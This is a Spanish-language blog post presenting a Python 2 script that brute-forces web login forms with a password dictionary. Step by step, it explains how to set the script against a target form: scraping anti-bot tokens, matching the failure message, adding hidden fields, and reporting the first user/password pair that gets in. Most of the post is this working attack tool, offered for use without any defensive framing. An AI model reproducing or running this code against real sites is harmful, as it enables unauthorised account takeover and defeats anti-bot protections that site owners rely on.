¡ Hola, buen día !
Hace meses que no programaba, entre viajes, no había donde ni como programar...
Y hoy por la mañana me entusiasmé y me puse a codear un BruteForce para algunos formularios que son "
débiles". El funcionamiento es el
típico ... Solo que
tiene algo que lo hace un poco (por no decir "NADA") diferente.
Le añadí la opción de extraer tokens que usualmente utilizan para seguridad anti-bots (lo que deja demostrado que
siguen siendo inútiles los tokens :P). Sin más preámbulos, os enseñaré como utilizarlo .
Al correr el Python en cuestión , nos dirá "
Se necesita token ?(s/n): "
Si el
formulario que ustedes van a
atacar,
funciona con el sistemita ese de los tokens, entonces denle
"s" o "S" y enter ... De ser así,
os pedirá el nombre del campo del token que se envía , para así el programa buscarlo y
poder enviarlo en cada petición...
De lo contrario, simplemente
pongan n o N y al siguiente paso...
El siguiente es el vital y el que nos permitirá saber cuando
nuestro login es válido ...
Mensaje de error .
¿ Cómo saber dicho mensaje ?
Van al formulario,
ingresan un usuario y contraseña incorrectos. Les devolverá algo tipo :
"Credenciales inválidas", "Usuario o contraseña incorrectos", "Error al ingresar", ETCEntonces
nosotros tomamos una palabrita de ellas, "Error" o "incorrectos" o el que les salga a ustedes. Este mensaje es el que
nos ayudará a ver que nuestro
usuario & contraseña funcionen.
Posteriormente, el programa nos dirá "
Campo user: " , que es el nombre del
Input que envía el formulario , por ejemplo
<input type="text" name="user"> , entonces ingresan "user".Luego, "
Campo password: ". Vamos al source y
buscamos el type="password" , miramos su propiedad
name (por ejemplo
<input type="password" name="clave"> e ingresamos "clave" en el programa.
Seguido de eso, nos
pedirá un "
Archivo(Diccionario): " Que es con el
diccionario que atacaremos el formulario, ahí
ingresas la ruta de vuestro
diccionario.
Y como ultima cosa, nos preguntará ...
Campos adicionales ?(s/n) Por si envía
algún dato en hidden el formulario. La manera de insertar el campo es la siguiente:
NAME VALUE
Data:redirect_to /wp-admin
Data:remember_me 1
Que sería el equivalente a
<input type="hidden" name="redirect_to" value="/wp-admin"> <input type="hidden" name="remember_me" value="1">
Luego dirá "Data:" y para correr el bruteforce, tipeamos "//brute" y paff , buscará el login correcto.
# Autor : 0x5d || JaAViEr
# Twitter : @0x5D
import urllib
import sys
import re
import urllib2
class brute:
def __init__(self):
self.nombre_token = ""
self.valor_token = ""
self.actualizar_formulario = ""
global formulario
formulario = {}
self.buscar_hash = raw_input("Se necesita token ?(s/n): ")
self.buscar_hash = True if self.buscar_hash.lower() == "s" else False
self.url_form = "" # URL donde se encuentra el formulario
if self.buscar_hash:
if self.extraer_token():
print "Token FOUND"
else:
print "Token Not Found :( "
self.url_to_post = "" # URL donde se envia el formulario
self.mensaje_error = raw_input("Mensaje de Error: ") # Mensaje de error, para detectar un login correcto
self.campo_usuario = raw_input("Campo user: ") # Nombre del campo (input) del usuario
self.campo_password = raw_input("Campo password: ") # Nombre del campo (input) del password
self.archivo_diccionario = raw_input("Archivo(Diccionario): ") # Archivo con Diccionario
self.datos_adicionales = raw_input("Campos adicionales? (s/n): ")
self.respuesta_adicionales = True if self.datos_adicionales.lower() == "s" else False
self.estado_token = True
if self.respuesta_adicionales:
self.agregar_campos()
self.bruteforce()
def agregar_campos(self):
formulario = {}
while self.respuesta_adicionales:
data = raw_input('Data: ')
parse_data = data.split(" ")
if data != "//brute":
formulario.update({parse_data[0]:parse_data[1]})
print formulario
else:
break
def extraer_token(self):
estado_token = True
if len(self.nombre_token)<=0:
self.nombre_token = raw_input("Nombre del token: ")
while estado_token:
try:
buscar = urllib2.urlopen(self.url_form)
if self.nombre_token in buscar.read():
estado_token = False
buscar_token = urllib2.urlopen(self.url_form)
found = re.findall("name=\"%s\" (.*)"%self.nombre_token, buscar_token.read())
if len(found)>0:
for i in range(len(found)):
if "value=\"" in found[i]:
self.split_token = re.findall("value=\"(.*)\"", found[i])
self.valor_token = self.split_token[0]
return True
else:
return False
else:
return False
else:
return False
except:
return False
def bruteforce(self):
cookie = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)
estado_archivo = True
while estado_archivo:
try:
cargar_diccionario = open(self.archivo_diccionario, "r")
separar_datos = cargar_diccionario.read().split("\n")
estado_archivo = False
except:
print "No se encuentra el archivo mencionado"
self.archivo_diccionario = raw_input("Archivo(Diccionario): ")
print "Buscando el login correcto ..."
for users in separar_datos:
for passwords in separar_datos:
if self.buscar_hash:
datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords, self.nombre_token:self.valor_token})
else:
datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords})
enviar_formulario = urllib2.urlopen(self.url_to_post, urllib.urlencode(formulario))
if self.mensaje_error in enviar_formulario.read():
print ".",
else:
print "\nFound User:%s - Password:%s"%(users, passwords)
sys.exit(1)
cargar_diccionario.close()
bf = brute()
Le faltan mil cosas por pulir ... Luego lo pasaré para que lea parámetros por ARGV .
Para ingresar la URL del formulario deben editar la línea :
self.url_form = "" # URL DEL FORMULARIO
self.url_to_post = "" # URL DONDE SE ENVIA EL FORM
Ojo, que a veces el formulario envía el POST al mismo archivo, pero no siempre ! .
Pido el URL del formulario para poder extraer los tokens previo envío , posteriormente, envío todos los datos a la URL que procesa los datos ;D
Espero sea de su agrado.
Fuente : http://www.vodale.com/blog
Saludos, Javier.